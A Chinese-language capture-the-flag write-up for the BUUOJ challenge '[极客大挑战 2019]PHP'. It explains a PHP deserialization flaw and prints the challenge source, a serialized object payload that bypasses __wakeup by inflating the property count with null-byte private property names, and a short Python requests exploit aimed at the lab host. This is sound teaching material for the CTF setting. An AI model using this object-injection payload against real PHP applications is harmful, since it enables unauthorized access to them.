首页 > 技术文章 > [极客大挑战 2019]PHP

chenxianz 2021-02-01 18:15 原文

打开题目,映入眼帘的是一个玩毛线球的小猫。页面提示有备份,www.zip下载下来。

 

查看class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();      
        }
    }
}
?>

index.php中这一部分

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

  

可以看出本题考察反序列化,根据class.php的__destruct()部分可以看出,若用户名为admin,密码为100时,会echo$flag

首先将代码反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a= new Name('admin',100);
$b =serialize($a);
echo $b;
?>
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是在反序列化时,__wakeup()函数将会被调用,将username的值换为guest

其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。

此处看了王叹之师傅的博客才知道,因为是private声明,我们需要在类名和字段名前面都会加上\0的前缀O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

exp:

import  requests

url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

若不用python提交,直接在url栏提交需在类名和字段名前加%00

payloadO:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

推荐阅读